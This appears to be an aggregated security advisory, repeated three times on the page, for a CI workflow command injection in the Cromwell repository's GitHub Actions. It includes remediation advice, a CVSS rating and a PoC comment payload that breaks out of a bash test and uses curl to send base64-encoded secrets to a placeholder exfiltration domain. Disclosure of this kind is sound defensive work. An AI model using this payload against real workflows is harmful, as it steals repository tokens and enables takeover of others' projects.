GHSA-phf6-hm3h-x8qp
Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`
Summary
Using Issue_comment on .github/workflows/scalafmt-fix.yml an attacker can inject malicious code using github.event.comment.body. By exploiting the vulnerability, it is possible to exfiltrate high privileged GITHUB_TOKEN which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:
BROADBOT_GITHUB_TOKEN
Details
The Issue_comment in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script.
- name: Check for ScalaFmt Comment
id: check-comment
run: |
if [[ "${{ github.event_name }}" == "issue_comment" && "${{ github.event.comment.body }}" == *"scalafmt"* ]]; then
echo "::set-output name=comment-triggered::true"
else
echo "::set-output name=comment-triggered::false"
fi
In this case, it is possible to exfiltrate GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secrets.
PoC
To exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow .github/workflows/update_pylon_issue.yml.
test" == "test" ]]; then
& curl -s -d "$B64_BLOB" "https://$YOUR_EXFIL_DOMAIN/token" > /dev/null #
To prove this is possible, we created an issue and we added a comment with the malicious code to extract the GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secret. With the GITHUB_TOKEN extracted we were able to push a new poc tag which has been deleted after a couple of minutes.
<img width="1603" alt="Screenshot 2025-05-20 at 23 17 14" src="https://github.com/user-attachments/assets/e2ebdb22-3d2d-467c-9326-34ca1e4b7ecf" />
Impact
Usually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo.
GITHUB_TOKEN Permissions
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Models: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
We also checked BROADBOT_GITHUB_TOKEN permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid GITHUB_TOKEN.
We suggest to rotate the BROADBOT_GITHUB_TOKEN token asap.
Fix
- Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:
- name: Dump comment
run: echo "Comment Body: $BODY"
env:
BODY: ${{ github.event.comment.body }}
This safely passes the comment as an environment variable rather than interpolating it in-place.
- Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues:
permissions:
issues: write
Kindly reported by @darryk10 @AlbertoPellitteri @loresuso
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
What each source reports
GitHub Advisories Score used 9.1
Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`
Summary
Using Issue_comment on .github/workflows/scalafmt-fix.yml an attacker can inject malicious code using github.event.comment.body. By exploiting the vulnerability, it is possible to exfiltrate high privileged GITHUB_TOKEN which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:
BROADBOT_GITHUB_TOKEN
Details
The Issue_comment in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script.
- name: Check for ScalaFmt Comment
id: check-comment
run: |
if [[ "${{ github.event_name }}" == "issue_comment" && "${{ github.event.comment.body }}" == *"scalafmt"* ]]; then
echo "::set-output name=comment-triggered::true"
else
echo "::set-output name=comment-triggered::false"
fi
In this case, it is possible to exfiltrate GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secrets.
PoC
To exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow .github/workflows/update_pylon_issue.yml.
test" == "test" ]]; then
& curl -s -d "$B64_BLOB" "https://$YOUR_EXFIL_DOMAIN/token" > /dev/null #
To prove this is possible, we created an issue and we added a comment with the malicious code to extract the GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secret. With the GITHUB_TOKEN extracted we were able to push a new poc tag which has been deleted after a couple of minutes.
<img width="1603" alt="Screenshot 2025-05-20 at 23 17 14" src="https://github.com/user-attachments/assets/e2ebdb22-3d2d-467c-9326-34ca1e4b7ecf" />
Impact
Usually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo.
GITHUB_TOKEN Permissions
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Models: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
We also checked BROADBOT_GITHUB_TOKEN permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid GITHUB_TOKEN.
We suggest to rotate the BROADBOT_GITHUB_TOKEN token asap.
Fix
- Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:
- name: Dump comment
run: echo "Comment Body: $BODY"
env:
BODY: ${{ github.event.comment.body }}
This safely passes the comment as an environment variable rather than interpolating it in-place.
- Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues:
permissions:
issues: write
Kindly reported by @darryk10 @AlbertoPellitteri @loresuso
- Record
GHSA-phf6-hm3h-x8qp- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-78
- Updated
- 2026-11-02
OSV 9.1
Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`
Summary
Using Issue_comment on .github/workflows/scalafmt-fix.yml an attacker can inject malicious code using github.event.comment.body. By exploiting the vulnerability, it is possible to exfiltrate high privileged GITHUB_TOKEN which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:
BROADBOT_GITHUB_TOKEN
Details
The Issue_comment in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script.
- name: Check for ScalaFmt Comment
id: check-comment
run: |
if [[ "${{ github.event_name }}" == "issue_comment" && "${{ github.event.comment.body }}" == *"scalafmt"* ]]; then
echo "::set-output name=comment-triggered::true"
else
echo "::set-output name=comment-triggered::false"
fi
In this case, it is possible to exfiltrate GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secrets.
PoC
To exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow .github/workflows/update_pylon_issue.yml.
test" == "test" ]]; then
& curl -s -d "$B64_BLOB" "https://$YOUR_EXFIL_DOMAIN/token" > /dev/null #
To prove this is possible, we created an issue and we added a comment with the malicious code to extract the GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secret. With the GITHUB_TOKEN extracted we were able to push a new poc tag which has been deleted after a couple of minutes.
<img width="1603" alt="Screenshot 2025-05-20 at 23 17 14" src="https://github.com/user-attachments/assets/e2ebdb22-3d2d-467c-9326-34ca1e4b7ecf" />
Impact
Usually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo.
GITHUB_TOKEN Permissions
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Models: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
We also checked BROADBOT_GITHUB_TOKEN permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid GITHUB_TOKEN.
We suggest to rotate the BROADBOT_GITHUB_TOKEN token asap.
Fix
- Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:
- name: Dump comment
run: echo "Comment Body: $BODY"
env:
BODY: ${{ github.event.comment.body }}
This safely passes the comment as an environment variable rather than interpolating it in-place.
- Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues:
permissions:
issues: write
Kindly reported by @darryk10 @AlbertoPellitteri @loresuso
- Record
GHSA-phf6-hm3h-x8qp- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-78
- Updated
- 2026-11-02
Affected packages
| Package | Affected | Fixed |
|---|---|---|
broadinstitute/cromwellGitHub Actions | 87 up to 90 | 90 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
GHSA-phf6-hm3h-x8qp is a critical vulnerability (CVSS 9.1) in broadinstitute/cromwell, published May 28, 2025. No source lists public exploit code. Fixed in broadinstitute/cromwell 90.